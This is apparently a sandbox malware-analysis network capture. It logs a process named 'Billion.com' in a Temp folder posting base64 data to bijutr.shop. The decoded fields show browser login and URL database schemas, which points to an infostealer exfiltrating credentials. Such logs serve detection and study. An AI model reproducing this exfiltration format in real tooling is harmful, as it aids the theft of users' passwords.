2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49998	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6c72d5a42bb-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 02 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50011	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:31 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q90R90ZMOZUAIMGDJMOZ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:31 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 39 30 52 39 30 5a 4d 4f 5a 55 41 49 4d 47 44 4a 4d 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 51 39 30 52 39 30 5a 4d 4f 5a 55 41 49 4d 47 44 4a 4d 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 51 39 30 52 39 30 5a 4d 4f 5a 55 41 49 4d 47 44 4a 4d 4f 5a 0d 0a 43 6f 6e 74 Data Ascii: ------Q90R90ZMOZUAIMGDJMOZContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------Q90R90ZMOZUAIMGDJMOZContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------Q90R90ZMOZUAIMGDJMOZCont
2024-12-24 18:28:31 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:31 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-24 18:28:31 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:31 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-24 18:28:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:33 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50022	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:34 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MYUKN7900ZU37YMY5FK6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 37 39 30 30 5a 55 33 37 59 4d 59 35 46 4b 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 37 39 30 30 5a 55 33 37 59 4d 59 35 46 4b 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 37 39 30 30 5a 55 33 37 59 4d 59 35 46 4b 36 0d 0a 43 6f 6e 74 Data Ascii: ------MYUKN7900ZU37YMY5FK6Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------MYUKN7900ZU37YMY5FK6Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------MYUKN7900ZU37YMY5FK6Cont
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 